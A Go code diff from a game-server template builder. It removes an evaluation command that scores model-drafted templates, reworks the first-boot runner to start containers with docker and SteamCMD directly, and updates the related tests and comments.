-	fs := flag.NewFlagSet("eval", flag.ExitOnError)
-	gamesDir := fs.String("games", "games", "the repo's games directory: the templates to compare against")
-	schemaDir := fs.String("schemas", "schema", "directory holding the JSON Schemas")
-	which := fs.String("ids", "all", "comma-separated game ids, or all")
-	provider := fs.String("provider", "ollama", "ollama or gemini")
-	modelName := fs.String("model", "", "model name (default as for draft)")
-	out := fs.String("out", "eval.md", "write the report here (and the scores as JSON next to it)")
-	fs.Parse(args)
-
-	ids, err := evalIDs(*gamesDir, *which)
-	if err != nil {
-		return err
-	}
-	m, err := newModel(*provider, *modelName)
-	if err != nil {
-		return err
-	}
-	var scores []evalScore
-	for _, id := range ids {
-		fmt.Printf("[eval] ===== %s =====\n", id)
-		s := evalGame(m, *gamesDir, *schemaDir, id, *provider, *modelName)
-		fmt.Printf("[eval] %s: boots %v, same route %v, ports same %v, ready matches %v, settings %d/%d\n",
-			id, s.Boots, s.SameRoute, s.PortsSame, s.ReadyMatch, s.SettingsHit, s.RealSetting)
-		scores = append(scores, s)
-	}
-	if err := os.WriteFile(*out, []byte(evalReport(scores)), 0o644); err != nil {
-		return err
-	}
-	raw, _ := json.MarshalIndent(scores, "", "  ")
-	return os.WriteFile(strings.TrimSuffix(*out, filepath.Ext(*out))+".json", raw, 0o644)
-}
-
-func evalIDs(gamesDir, which string) ([]string, error) {
-	if which != "all" {
-		return strings.Split(which, ","), nil
-	}
-	entries, err := os.ReadDir(gamesDir)
-	if err != nil {
-		return nil, err
-	}
-	var ids []string
-	for _, e := range entries {
-		if _, err := os.Stat(filepath.Join(gamesDir, e.Name(), "game.yaml")); err == nil {
-			ids = append(ids, e.Name())
-		}
-	}
-	if len(ids) == 0 {
-		return nil, errors.New("no templates to evaluate against")
-	}
-	return ids, nil
-}
-
-// evalGame builds one game blind, in an empty games folder, and compares the draft with the real template.
-func evalGame(m model, gamesDir, schemaDir, id, provider, modelName string) evalScore {
-	s := evalScore{Game: id}
-	start := time.Now()
-	defer func() { s.Minutes = time.Since(start).Minutes() }()
-	real, err := loadMap(filepath.Join(gamesDir, id, "game.yaml"))
-	if err != nil {
-		s.Error = err.Error()
-		return s
-	}
-	realTest, _ := loadMap(filepath.Join(gamesDir, id, "test.yaml"))
-	name, _ := real["name"].(string)
-
-	res, err := research(m, name, "", 6)
-	if err != nil {
-		s.Error = "research: " + err.Error()
-		return s
-	}
-	var chosen *variant
-	for i := range res.Variants {
-		if res.Variants[i].Recommended {
-			chosen = &res.Variants[i]
-		}
-	}
-	if chosen == nil {
-		s.Error = "research recommended no runnable option: " + res.Message
-		return s
-	}
-	blind, err := os.MkdirTemp("", "gbr-eval-")
-	if err != nil {
-		s.Error = err.Error()
-		return s
-	}
-	defer os.RemoveAll(blind)
-	built, err := build(buildOptions{gamesDir: blind, schemaDir: schemaDir, name: name, id: id, variant: *chosen,
-		provider: provider, model: modelName, attempts: 3, bootRounds: 5, agentImage: agentImageFromEnv()})
-	if built != nil {
-		s.Boots, s.Rounds = built.Passed, built.Rounds
-	}
-	if err != nil {
-		s.Error = "build: " + err.Error()
-	}
-	draft, derr := loadMap(filepath.Join(blind, id, "game.yaml"))
-	if derr != nil {
-		if s.Error == "" {
-			s.Error = "no draft written"
-		}
-		return s
-	}
-	scoreDraft(&s, real, realTest, draft)
-	return s
-}
-
-// scoreDraft compares a draft with the real template.
-func scoreDraft(s *evalScore, real, realTest, draft map[string]any) {
-	s.SameRoute = real["defaultDockerImage"] == draft["defaultDockerImage"] && steamAppOf(real) == steamAppOf(draft)
-
-	want, got := portSet(real), portSet(draft)
-	for p := range want {
-		if !got[p] {
-			s.PortsDiff = append(s.PortsDiff, "missing "+p)
-		}
-	}
-	for p := range got {
-		if !want[p] {
-			s.PortsDiff = append(s.PortsDiff, "extra "+p)
-		}
-	}
-	sort.Strings(s.PortsDiff)
-	s.PortsSame = len(s.PortsDiff) == 0
-
-	if pattern, _ := draft["readyPattern"].(string); pattern != "" {
-		example, _ := realTest["readyExample"].(string)
-		if re, err := regexp.Compile(pattern); err == nil && example != "" {
-			s.ReadyMatch = re.MatchString(example)
-		}
-	}
-
-	realKeys := map[string]bool{}
-	for k := range schemaProperties(real) {
-		realKeys[envName(k)] = true
-	}
-	s.RealSetting = len(realKeys)
-	for k := range schemaProperties(draft) {
-		s.Settings++
-		if realKeys[envName(k)] {
-			s.SettingsHit++
-		}
-	}
-}
-
-func steamAppOf(g map[string]any) string {
-	if g["installMethod"] != "STEAMCMD" {
-		return ""
-	}
-	ic, _ := g["installConfig"].(map[string]any)
-	return fmt.Sprint(ic["appId"])
-}
-
-// portSet is a template's published container ports, as "port/proto".
-func portSet(g map[string]any) map[string]bool {
-	out := map[string]bool{}
-	ports, _ := g["defaultPorts"].([]any)
-	for _, p := range ports {
-		out[containerPort(fmt.Sprint(p))] = true
-	}
-	return out
-}
-
-func evalReport(scores []evalScore) string {
-	var b strings.Builder
-	b.WriteString("# Builder evaluation\n\nEach game was built blind (research, first boot, draft, boots) and compared " +
-		"with its merged template.\n\n")
-	b.WriteString("| Game | Boots | Same image/app | Ports | Ready line | Settings found | Rounds | Minutes | Note |\n")
-	b.WriteString("| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n")
-	passed := 0
-	for _, s := range scores {
-		if s.Boots {
-			passed++
-		}
-		ports := "same"
-		if !s.PortsSame {
-			ports = strings.Join(s.PortsDiff, ", ")
-		}
-		fmt.Fprintf(&b, "| %s | %s | %s | %s | %s | %d of %d (draft has %d) | %d | %.0f | %s |\n", s.Game, mark(s.Boots), mark(s.SameRoute),
-			ports, mark(s.ReadyMatch), s.SettingsHit, s.RealSetting, s.Settings, s.Rounds, s.Minutes, s.Error)
-	}
-	fmt.Fprintf(&b, "\n%d of %d drafts booted.\n", passed, len(scores))
-	return b.String()
-}
-
-func mark(ok bool) string {
-	if ok {
-		return "yes"
-	}
-	return "no"
-}

cmd/gbrgames/firstboot.go

@@ -20,11 +20,15 @@ import (
 	"time"
 )
 
-// first-boot starts a game server once with none of a template's settings applied (or, -as-deployed,
-// with exactly the settings a new server gets), and records what it does on its own: its output (to find
-// the "ready" and error lines) and the files it creates (to learn the real config file, format and
-// defaults, and what would be lost on a restart). The node-agent's own deploy code starts it, so it runs
-// exactly as on a node: volumes, user, limits, SteamCMD install and startup command.
+// first-boot starts a game server once with none of a template's settings applied, and records what it
+// does on its own: its output (to find the "ready" and error lines) and the files it creates (to learn
+// the real config file, format and defaults). It mirrors how the node-agent runs servers: same volumes,
+// user, SteamCMD install and startup prefix, but without a restart policy, so a crash shows as a crash.
+
+// Same prefix the node-agent puts in front of every startup command (DockerService)
+const agentStartupPrefix = "mkdir -p ~/.steam/sdk64 /server/.steam/sdk64 2>/dev/null; " +
+	"[ -f /home/steam/steamcmd/linux64/steamclient.so ] && cp -f /home/steam/steamcmd/linux64/steamclient.so ~/.steam/sdk64/ 2>/dev/null; " +
+	"[ -f /server/linux64/steamclient.so ] && cp -f /server/linux64/steamclient.so ~/.steam/sdk64/ 2>/dev/null; cd /server && "
 
 var (
 	ansi       = regexp.MustCompile(`\x1b\[[0-9;?]*[A-Za-z]|\x1b\][^\a]*\a`)
@@ -100,8 +104,6 @@ func runFirstBoot(args []string) error {
 	quiet := fs.Duration("quiet", 2*time.Minute, "stop once the server has printed nothing for this long")
 	outDir := fs.String("out", "", "where to write the report (default firstboot-out/<name>)")
 	keep := fs.Bool("keep", false, "keep the container and volumes for a closer look")
-	asDeployed := fs.Bool("as-deployed", false, "with -game: boot with the template's settings exactly as a new server gets "+
-		"them (default: untouched, so the server writes its own defaults)")
 	var envFlags multiFlag
 	fs.Var(&envFlags, "env", "KEY=VALUE for the container (repeatable), e.g. EULA=TRUE")
 	fs.Parse(args)
@@ -136,19 +138,7 @@ func runFirstBoot(args []string) error {
 		return err
 	}
 
-	b := &booter{spec: spec, facts: facts, container: "firstboot-" + spec.Name, outDir: *outDir, agentImage: agentImageFromEnv()}
-	b.payload = untouchedPayload(spec)
-	if *asDeployed {
-		if *gameID == "" {
-			return errors.New("-as-deployed needs -game")
-		}
-		if b.payload, err = bootTestPayload(*gamesDir, *gameID, false); err != nil {
-			return err
-		}
-	}
-	if err := pullAgentImage(b.agentImage); err != nil {
-		return err
-	}
+	b := &booter{spec: spec, facts: facts, container: "firstboot-" + spec.Name, outDir: *outDir}
 	if !*keep {
 		defer b.cleanup()
 	}
@@ -231,13 +221,11 @@ func buildBootSpec(gamesDir, gameID, image, startup, steamApp string, memory int
 }
 
 type booter struct {
-	spec       *bootSpec
-	facts      *imageFacts
-	container  string
-	outDir     string
-	agentImage string
-	payload    map[string]any    // what the node-agent deploys
-	mounts     map[string]string // mount path -> volume name
+	spec      *bootSpec
+	facts     *imageFacts
+	container string
+	outDir    string
+	mounts    map[string]string // mount path -> volume name
 
 	mu      sync.Mutex
 	lines   []logLine
@@ -245,56 +233,64 @@ type booter struct {
 	started time.Time
 }
 
-// untouchedPayload deploys an image as a node would, but with none of a template's settings: only the
-// install, the startup command and the -env values, so the server writes its own defaults.
-func untouchedPayload(spec *bootSpec) map[string]any {
-	config := map[string]any{}
-	for k, v := range spec.Env {
-		config[k] = v
-	}
-	p := map[string]any{
-		"command": "DEPLOY_SERVER", "dockerImage": spec.Image, "gameConfig": config, "ports": []any{},
-		"installMethod": "NONE", "memoryLimitMb": spec.MemoryMb, "containerUser": spec.User,
-		"dockerNetwork": bootTestNetwork, "timeoutSec": 900,
-	}
-	if spec.Startup != "" {
-		p["startupCommand"] = spec.Startup
-	}
-	if spec.SteamAppID != "" {
-		p["installMethod"], p["installConfig"], p["timeoutSec"] = "STEAMCMD", map[string]any{"appId": spec.SteamAppID}, 2400
-	}
-	return p
-}
-
 func (b *booter) run(maxRun, quiet time.Duration) (*bootReport, error) {
-	// Exactly what nodes mount: one volume at /server and /data. Anything else the server writes, the
-	// image's own VOLUME folders included, is gone when the node recreates the container on the next start
+	exec.Command("docker", "rm", "-f", b.container).Run() // leftovers from an interrupted run
+
+	// Same layout as the node: one volume at /server and /data, plus a fresh one per declared VOLUME
 	data := b.container + "-data"
 	b.mounts = map[string]string{"/server": data, "/data": data}
+	for i, v := range b.facts.Volumes {
+		if _, ok := b.mounts[v]; !ok {
+			b.mounts[v] = fmt.Sprintf("%s-v%d", b.container, i)
+		}
+	}
+	for _, vol := range uniqueValues(b.mounts) {
+		if err := docker("volume", "create", vol); err != nil {
+			return nil, err
+		}
+		if err := docker("run", "--rm", "-v", vol+":/v", "alpine", "chown", "-R", b.spec.User, "/v"); err != nil {
+			return nil, err
+		}
+	}
 
-	// The node-agent deploys it (install, config, startup, user, limits) and leaves the container to us.
-	// It only has to get it running: watching it until it goes quiet is done here
-	p := map[string]any{}
-	for k, v := range b.payload {
-		p[k] = v
+	if b.spec.SteamAppID != "" {
+		fmt.Printf("[first-boot] installing Steam app %s\n", b.spec.SteamAppID)
+		// Like the node-agent: steamcmd's image runs as uid 1000, then the volume goes to the game's user
+		steam := "/home/steam/steamcmd/steamcmd.sh +login anonymous +quit && /home/steam/steamcmd/steamcmd.sh +force_install_dir /server +login anonymous +app_update " +
+			b.spec.SteamAppID + " validate +quit"
+		if err := docker("run", "--rm", "-v", data+":/server", "alpine", "chown", "-R", nodeUser, "/server"); err != nil {
+			return nil, err
+		}
+		cmd := exec.Command("docker", "run", "--rm", "--network", bootTestNetwork, "-v", data+":/server", "cm2network/steamcmd", "bash", "-c", steam)
+		cmd.Stdout, cmd.Stderr = os.Stdout, os.Stderr
+		if err := cmd.Run(); err != nil {
+			return nil, fmt.Errorf("steamcmd install of %s failed: %w", b.spec.SteamAppID, err)
+		}
+		if err := docker("run", "--rm", "-v", data+":/server", "alpine", "chown", "-R", b.spec.User, "/server"); err != nil {
+			return nil, err
+		}
 	}
-	p["containerName"], p["serverId"], p["keepContainer"] = b.container, b.container, true
-	p["settleSec"], p["holdSec"], p["expectPorts"] = 15, 0, []any{}
-	delete(p, "readyPattern")
-	delete(p, "failPatterns")
-	fmt.Printf("[first-boot] deploying %s as %v with the node-agent (memory %v MB)\n", b.spec.Image, displayUser(p["containerUser"]), p["memoryLimitMb"])
-	output, _, err := runAgentBootTest(p, b.agentImage)
-	if err != nil {
-		return nil, err
-	}
-	created, err := time.Parse(time.RFC3339Nano, inspectField(b.container, "{{.Created}}"))
-	if err != nil {
-		return nil, fmt.Errorf("the node-agent could not deploy %s: %s", b.spec.Image, bootVerdict(output))
-	}
-	b.started, b.lastAt = created, created
 
-	// The whole console from the start, with Docker's timestamps
-	logs := exec.Command("docker", "logs", "-t", "-f", b.container)
+	runArgs := []string{"run", "-d", "-t", "--init", "--name", b.container, "--user", b.spec.User,
+		"--security-opt", "no-new-privileges:true", "--pids-limit", "1024", "--network", bootTestNetwork,
+		"-m", fmt.Sprintf("%dm", b.spec.MemoryMb), "--memory-swap", fmt.Sprintf("%dm", b.spec.MemoryMb)}
+	for mount, vol := range b.mounts {
+		runArgs = append(runArgs, "-v", vol+":"+mount)
+	}
+	for _, k := range sortedKeysString(b.spec.Env) {
+		runArgs = append(runArgs, "-e", k+"="+b.spec.Env[k])
+	}
+	runArgs = append(runArgs, b.spec.Image)
+	if b.spec.Startup != "" {
+		runArgs = append(runArgs, "bash", "-c", agentStartupPrefix+b.spec.Startup)
+	}
+	fmt.Printf("[first-boot] starting %s as %s (memory %d MB)\n", b.spec.Image, b.spec.User, b.spec.MemoryMb)
+	if out, err := exec.Command("docker", runArgs...).CombinedOutput(); err != nil {
+		return nil, fmt.Errorf("docker run: %v: %s", err, strings.TrimSpace(string(out)))
+	}
+	b.started, b.lastAt = time.Now(), time.Now()
+
+	logs := exec.Command("docker", "logs", "-f", b.container)
 	pr, pw := io.Pipe()
 	logs.Stdout, logs.Stderr = pw, pw
 	if err := logs.Start(); err != nil {
@@ -305,31 +301,27 @@ func (b *booter) run(maxRun, quiet time.Duration) (*bootReport, error) {
 		sc := bufio.NewScanner(pr)
 		sc.Buffer(make([]byte, 1024*1024), 1024*1024)
 		for sc.Scan() {
-			b.addTimestamped(sc.Text())
+			b.addLine("console", sc.Text())
 		}
 		close(done)
 	}()
 
-	report := &bootReport{Image: b.spec.Image, User: displayUser(p["containerUser"])}
+	report := &bootReport{Image: b.spec.Image, User: b.spec.User}
 	minRun := time.Minute
 	for {
 		time.Sleep(2 * time.Second)
 		elapsed := time.Since(b.started)
 		running := inspectField(b.container, "{{.State.Running}}") == "true"
-		restarts, _ := strconv.Atoi(inspectField(b.container, "{{.RestartCount}}"))
 		b.mu.Lock()
 		silent, count := time.Since(b.lastAt), len(b.lines)
 		b.mu.Unlock()
 		switch {
-		case !running || restarts > 0:
+		case !running:
 			code, _ := strconv.Atoi(inspectField(b.container, "{{.State.ExitCode}}"))
 			report.ExitCode = &code
 			report.Outcome = fmt.Sprintf("exited by itself with code %d after %.0fs", code, elapsed.Seconds())
-			if restarts > 0 {
-				report.Outcome = fmt.Sprintf("crashed (exit code %d) and was restarted %d time(s) within %.0fs", code, restarts, elapsed.Seconds())
-			}
 			if inspectField(b.container, "{{.State.OOMKilled}}") == "true" {
-				report.Outcome += fmt.Sprintf(" (killed: over the %v MB memory limit)", p["memoryLimitMb"])
+				report.Outcome += fmt.Sprintf(" (killed: over the %d MB memory limit)", b.spec.MemoryMb)
 			}
 		case elapsed >= minRun && count > 0 && silent >= quiet:
 			report.Outcome = fmt.Sprintf("running and quiet for %.0fs after %.0fs; stopped gracefully", silent.Seconds(), elapsed.Seconds())
@@ -343,7 +335,6 @@ func (b *booter) run(maxRun, quiet time.Duration) (*bootReport, error) {
 	report.RanSeconds = time.Since(b.started).Seconds()
 	// Many servers only write their settings when they shut down
 	exec.Command("docker", "stop", "-t", "60", b.container).Run()
-	logs.Process.Kill()
 	pw.Close()
 	<-done
 
@@ -363,33 +354,17 @@ func (b *booter) run(maxRun, quiet time.Duration) (*bootReport, error) {
 	return report, nil
 }
 
-// addTimestamped records one line of `docker logs -t`: "2026-10-26T01:11:52.123456789Z text".
-func (b *booter) addTimestamped(raw string) {
-	at := time.Now()
-	if stamp, rest, ok := strings.Cut(raw, " "); ok {
-		if t, err := time.Parse(time.RFC3339Nano, stamp); err == nil {
-			at, raw = t, rest
-		}
-	}
+func (b *booter) addLine(source, raw string) {
 	text := strings.TrimRight(ansi.ReplaceAllString(raw, ""), "\r \t")
 	if text == "" {
 		return
 	}
 	b.mu.Lock()
-	b.lines = append(b.lines, logLine{At: at.Sub(b.started).Round(100 * time.Millisecond).Seconds(), Source: "console", Text: text})
-	if at.After(b.lastAt) {
-		b.lastAt = at
-	}
+	b.lines = append(b.lines, logLine{At: time.Since(b.started).Round(100 * time.Millisecond).Seconds(), Source: source, Text: text})
+	b.lastAt = time.Now()
 	b.mu.Unlock()
 }
 
-func displayUser(u any) string {
-	if s, ok := u.(string); ok && s != "" {
-		return s
-	}
-	return nodeUser
-}
-
 func (b *booter) console() []logLine {
 	b.mu.Lock()
 	defer b.mu.Unlock()
@@ -491,8 +466,8 @@ func (b *booter) copyOut(vol, mount string, files []string, report *bootReport)
 	return cmd.Wait()
 }
 
-// fileLines reads the copied log files, so ready and error lines that never reach the console (servers
-// that only log to a file) are found too.
+// fileLines reads the copied log files, so ready and error lines that never reach the console (ARK
+// writes to ShooterGame.log) are found too.
 func (b *booter) fileLines(report *bootReport) []logLine {
 	var out []logLine
 	for _, f := range report.FilesCreated {
@@ -512,108 +487,39 @@ func (b *booter) fileLines(report *bootReport) []logLine {
 	return out
 }
 
-// Files that aren't the game's state, so losing them doesn't matter: system folders, Docker's own init
-// (in every container started with --init), logs, lock and pid files, and what the Steam client, Proton
-// and the OS keep for themselves in the home folder
-var (
-	systemPrefixes = []string{"/tmp", "/proc", "/sys", "/dev", "/run", "/etc", "/var/log", "/var/cache", "/var/tmp", "/var/lib/apt", "/usr/sbin/docker-init"}
-	transientExt   = map[string]bool{".log": true, ".pid": true, ".lock": true, ".tmp": true, ".swp": true}
-	clientNoise    = []string{"/Steam/logs/", "/Steam/config/", "/Steam/appcache/", "/.steam/", "/steamcmd/", "/.cache/", "/tmp/", "/.local/share/umu"}
-)
-
-func notGameState(p string) bool {
-	if transientExt[strings.ToLower(path.Ext(p))] {
-		return true
-	}
-	for _, prefix := range systemPrefixes {
-		if p == prefix || strings.HasPrefix(p, prefix+"/") {
-			return true
-		}
-	}
-	for _, n := range clientNoise {
-		if strings.Contains(p, n) {
-			return true
-		}
-	}
-	return false
-}
-
-// containerChanges lists the files the server wrote anywhere but /server and /data. All of them are
-// lost when the node recreates the container (every start): in the container's own filesystem, and in
-// the image's VOLUME folders, which Docker gives fresh anonymous volumes each time. Files that aren't
-// the game's state are left out; saves of any kind are not.
+// containerChanges lists files the server wrote outside its volumes: settings there are lost when the
+// node recreates the container, which a template needs to know about.
 func (b *booter) containerChanges() []string {
-	var changes []string
-	if out, err := exec.Command("docker", "diff", b.container).Output(); err == nil {
-		changes = append(changes, outsideFiles(string(out), b.mounts)...)
+	out, err := exec.Command("docker", "diff", b.container).Output()
+	if err != nil {
+		return nil
 	}
-	// The image's VOLUME folders: Docker mounted anonymous volumes there, which docker diff doesn't show
-	mounts, _ := exec.Command("docker", "inspect", "-f", `{{range .Mounts}}{{if eq .Type "volume"}}{{.Name}}|{{.Destination}}{{"\n"}}{{end}}{{end}}`, b.container).Output()
-	for _, line := range strings.Split(strings.TrimSpace(string(mounts)), "\n") {
-		vol, dest, ok := strings.Cut(line, "|")
-		if !ok || b.mounts[dest] != "" {
+	var changes []string
+	for _, line := range strings.Split(strings.TrimSpace(string(out)), "\n") {
+		kind, p, ok := strings.Cut(line, " ")
+		if !ok || kind == "D" {
 			continue
 		}
-		files, err := exec.Command("docker", "run", "--rm", "-v", vol+":/v:ro", "alpine", "find", "/v", "-type", "f").Output()
-		if err != nil {
-			continue
+		skip := false
+		for _, prefix := range []string{"/tmp", "/proc", "/sys", "/dev", "/run", "/var/log", "/var/cache", "/var/tmp"} {
+			if p == prefix || strings.HasPrefix(p, prefix+"/") {
+				skip = true
+			}
 		}
-		n := 0
-		for _, f := range strings.Split(strings.TrimSpace(string(files)), "\n") {
-			rel := strings.TrimPrefix(f, "/v/")
-			if f == "" || notGameState(path.Join(dest, rel)) {
-				continue
+		for mount := range b.mounts {
+			if p == mount || strings.HasPrefix(p, mount+"/") {
+				skip = true
 			}
-			if n++; n > 200 {
-				break
-			}
-			changes = append(changes, "A "+path.Join(dest, rel))
+		}
+		if !skip && configExt[strings.ToLower(path.Ext(p))] {
+			changes = append(changes, kind+" "+p)
 		}
 	}
 	return changes
 }
 
-// outsideFiles picks the game's files out of `docker diff` output: added or changed outside the mounted
-// volumes. docker diff lists folders too, as changed when anything inside them changed, so a folder only
-// counts when nothing inside it did (it was created empty).
-func outsideFiles(diff string, mounts map[string]string) []string {
-	kinds := map[string]string{}
-	parents := map[string]bool{}
-	for _, line := range strings.Split(strings.TrimSpace(diff), "\n") {
-		kind, p, ok := strings.Cut(strings.TrimSpace(line), " ")
-		if !ok || p == "" {
-			continue
-		}
-		kinds[p] = kind
-		for d := path.Dir(p); d != "/" && d != "."; d = path.Dir(d) {
-			parents[d] = true
-		}
-	}
-	var files []string
-	for p, kind := range kinds {
-		if kind != "D" && !parents[p] && !notGameState(p) && !inMounts(p, mounts) {
-			files = append(files, p)
-		}
-	}
-	sort.Strings(files)
-	for i, p := range files {
-		files[i] = kinds[p] + " " + p
-	}
-	return files
-}
-
-func inMounts(p string, mounts map[string]string) bool {
-	for mount := range mounts {
-		if p == mount || strings.HasPrefix(p, mount+"/") {
-			return true
-		}
-	}
-	return false
-}
-
 func (b *booter) cleanup() {
-	// -v: the anonymous volumes of the image's VOLUME folders go with it
-	exec.Command("docker", "rm", "-f", "-v", b.container).Run()
+	exec.Command("docker", "rm", "-f", b.container).Run()
 	for _, vol := range uniqueValues(b.mounts) {
 		exec.Command("docker", "volume", "rm", vol).Run()
 	}
@@ -824,6 +730,13 @@ func describeLine(l logLine) string {
 	return fmt.Sprintf("[%s] %s", where, text)
 }
 
+func docker(args ...string) error {
+	if out, err := exec.Command("docker", args...).CombinedOutput(); err != nil {
+		return fmt.Errorf("docker %s: %v: %s", args[0], err, strings.TrimSpace(string(out)))
+	}
+	return nil
+}
+
 func inspectField(container, format string) string {
 	out, _ := exec.Command("docker", "inspect", "-f", format, container).Output()
 	return strings.TrimSpace(string(out))

cmd/gbrgames/firstboot_test.go

@@ -2,26 +2,25 @@ package main
 
 import (
 	"regexp"
-	"strings"
 	"testing"
 )
 
 func TestParseConfigFormats(t *testing.T) {
-	// An Unreal-style option list
-	list := parseConfig("/server/Game/Saved/Config/LinuxServer/GameSettings.ini", "[/Script/Game.WorldSettings]\n"+
-		`OptionSettings=(Difficulty=None,ExpRate=1.000000,ServerName="Default Server",CrossplayPlatforms=(Steam,Xbox,PS5,Mac))`)
-	want := map[string]string{"Difficulty": "None", "ExpRate": "1.000000", "ServerName": "Default Server", "CrossplayPlatforms": "(Steam,Xbox,PS5,Mac)"}
-	if len(list) != len(want) {
-		t.Fatalf("option list: got %d settings: %+v", len(list), list)
+	// Palworld's Unreal-style list
+	pal := parseConfig("/server/Pal/Saved/Config/LinuxServer/PalWorldSettings.ini", "[/Script/Pal.PalGameWorldSettings]\n"+
+		`OptionSettings=(Difficulty=None,ExpRate=1.000000,ServerName="Default Palworld Server",CrossplayPlatforms=(Steam,Xbox,PS5,Mac))`)
+	want := map[string]string{"Difficulty": "None", "ExpRate": "1.000000", "ServerName": "Default Palworld Server", "CrossplayPlatforms": "(Steam,Xbox,PS5,Mac)"}
+	if len(pal) != len(want) {
+		t.Fatalf("palworld: got %d settings: %+v", len(pal), pal)
 	}
-	for _, s := range list {
+	for _, s := range pal {
 		if s.Section != "OptionSettings" || want[s.Key] != s.Value {
-			t.Errorf("option list setting %+v", s)
+			t.Errorf("palworld setting %+v", s)
 		}
 	}
 
-	// A server.properties file
-	mc := parseConfig("/data/server.properties", "#Server properties\nmax-players=20\nmotd=A Server\nlevel-seed=\n")
+	// Minecraft's server.properties
+	mc := parseConfig("/data/server.properties", "#Minecraft server properties\nmax-players=20\nmotd=A Minecraft Server\nlevel-seed=\n")
 	if len(mc) != 3 || mc[0].Key != "max-players" || mc[0].Value != "20" || mc[2].Value != "" {
 		t.Errorf("properties: %+v", mc)
 	}
@@ -67,7 +66,7 @@ func TestAnalyzeLines(t *testing.T) {
 		{At: 2, Source: "console", Text: "Failed to load optional module"},
 		{At: 9, Source: "console", Text: "[09:00:01 INFO]: Done (8.1s)! For help, type \"help\""},
 		{At: 9, Source: "console", Text: "[09:00:01 INFO]: Thread RCON Listener started"},
-		// After the stop at 200s: the shutdown, as a wrapper script prints it
+		// After the stop at 200s: the shutdown, as Minecraft's runner prints it
 		{At: 201, Source: "console", Text: "[06:01:39] [RCON Listener #1/INFO]: Thread RCON Client /0:0:0:0:0:0:0:1 started"},
 		{At: 202, Source: "console", Text: "2026-10-25T06:01:39.976Z\tINFO\tmc-server-runner\tDone"},
 	}, []logLine{{At: -1, Source: "/server/x.log", Text: "Listening on 0.0.0.0:7777"}}, 200)
@@ -91,67 +90,16 @@ func TestAnalyzeLines(t *testing.T) {
 
 func TestConfigCandidates(t *testing.T) {
 	for rel, want := range map[string]bool{
-		"server.properties":                   true,
-		"Game/Saved/Config/LinuxServer/x.ini": true,
-		"Game/Saved/Logs/Server.log":          true,
-		"steamapps/appmanifest_123.acf":       false,
-		"Engine/Config/BaseEngine.ini":        false,
-		"plugins/SomePlugin/config.yml":       false,
-		"world/level.dat":                     false,
+		"server.properties":                      true,
+		"Pal/Saved/Config/LinuxServer/x.ini":     true,
+		"ShooterGame/Saved/Logs/ShooterGame.log": true,
+		"steamapps/appmanifest_123.acf":          false,
+		"Engine/Config/BaseEngine.ini":           false,
+		"plugins/Geyser/config.yml":              false,
+		"world/level.dat":                        false,
 	} {
 		if got := isConfigCandidate(rel, 1000); got != want {
 			t.Errorf("isConfigCandidate(%q) = %v, want %v", rel, got, want)
 		}
 	}
 }
-
-func TestOutsideFilesCountsEverySaveButNotSystemOrTransientFiles(t *testing.T) {
-	diff := `C /home
-C /home/steam
-A /home/steam/.config
-A /home/steam/.config/example
-A /home/steam/.config/example/worlds
-A /home/steam/.config/example/worlds/world1.db
-A /home/steam/.config/example/worlds/world1.fwl
-A /home/steam/.config/example/worlds.bak
-A /home/steam/.config/example/Player.log
-C /home/steam/logs
-A /home/steam/logs/server.log
-C /home/steam/Steam
-C /home/steam/Steam/config
-C /home/steam/Steam/config/config.vdf
-C /home/steam/steamcmd/linux64/steamclient.so
-C /etc
-C /etc/hostname
-C /usr
-C /usr/sbin
-A /usr/sbin/docker-init
-C /var
-C /var/log
-A /var/log/x
-A /tmp/x.sock
-A /server/should-not-count.sav
-D /home/steam/old.txt
-A /home/steam/server.pid`
-	got := outsideFiles(diff, map[string]string{"/server": "v", "/data": "v"})
-	// Folders whose only changes aren't the game's (logs, Docker's init) don't count either
-	want := []string{"A /home/steam/.config/example/worlds.bak", "A /home/steam/.config/example/worlds/world1.db",
-		"A /home/steam/.config/example/worlds/world1.fwl"}
-	if strings.Join(got, "|") != strings.Join(want, "|") {
-		t.Errorf("got %q\nwant %q", got, want)
-	}
-}
-
-func TestUntouchedPayloadDeploysWithoutTemplateSettings(t *testing.T) {
-	p := untouchedPayload(&bootSpec{Image: "example/image", Startup: "./server", SteamAppID: "1000000", MemoryMb: 4096,
-		User: "1000:1000", Env: map[string]string{"EULA": "TRUE"}})
-	if p["installMethod"] != "STEAMCMD" || p["installConfig"].(map[string]any)["appId"] != "1000000" || p["timeoutSec"] != 2400 {
-		t.Errorf("steam install: %v", p)
-	}
-	if p["startupCommand"] != "./server" || p["dockerNetwork"] != bootTestNetwork || p["gameConfig"].(map[string]any)["EULA"] != "TRUE" {
-		t.Errorf("payload: %v", p)
-	}
-	if _, ok := untouchedPayload(&bootSpec{Image: "x"})["startupCommand"]; ok {
-		t.Error("no startup command means the image's own entrypoint")
-	}
-}

cmd/gbrgames/import.go

@@ -23,7 +23,7 @@ var gameFields = []string{
 	"defaultConfig", "configSchema", "configFilePath", "configFileFormat", "configFormatOptions",
 	"agnosticCommandConfig", "clusterConfig",
 	"logFilePath", "readyPattern", "failPatterns", "backupPaths", "maxBackupSizeMb",
-	"publicIpConfigKey", "portMode", "maxPlayersConfigKey", "mapConfigKey",
+	"publicIpConfigKey", "maxPlayersConfigKey", "mapConfigKey",
 	"aiCoverPrompt",
 }
 

cmd/gbrgames/inspect.go

@@ -278,8 +278,8 @@ func parseProbe(f *imageFacts, out string) {
 }
 
 // suggestContainerUser works out whether the image only works as a specific user. Images either declare
-// it (USER) or are built around an account whose home folder nobody else may enter (e.g. a home folder
-// at mode 700 owned by a uid other than 1000).
+// it (USER) or are built around an account whose home folder nobody else may enter (ARK's gameserver,
+// uid 25000, with /home/gameserver at 700).
 func suggestContainerUser(f *imageFacts) {
 	if u := strings.TrimSpace(f.User); u != "" && u != "root" && u != "0" {
 		resolved := resolveUser(f, u)
@@ -364,7 +364,7 @@ func checkTemplate(game map[string]any, f *imageFacts) (problems, notes []string
 	}
 	if cmd, _ := game["defaultStartupCommand"].(string); cmd != "" {
 		for _, m := range assignedVars.FindAllStringSubmatch(cmd, -1) {
-			provided[m[1]] = true // set by the command itself, e.g. export START_PARAMS=...
+			provided[m[1]] = true // set by the command itself, e.g. export ASA_START_PARAMS=...
 		}
 		withDefault := map[string]bool{}
 		for _, m := range defaultedRef.FindAllStringSubmatch(cmd, -1) {
@@ -410,7 +410,7 @@ func containerPort(p string) string {
 	return p
 }
 
-// startupScriptPaths picks absolute paths out of a template's startup command (e.g. an image's
+// startupScriptPaths picks absolute paths out of a template's startup command (e.g. ARK's
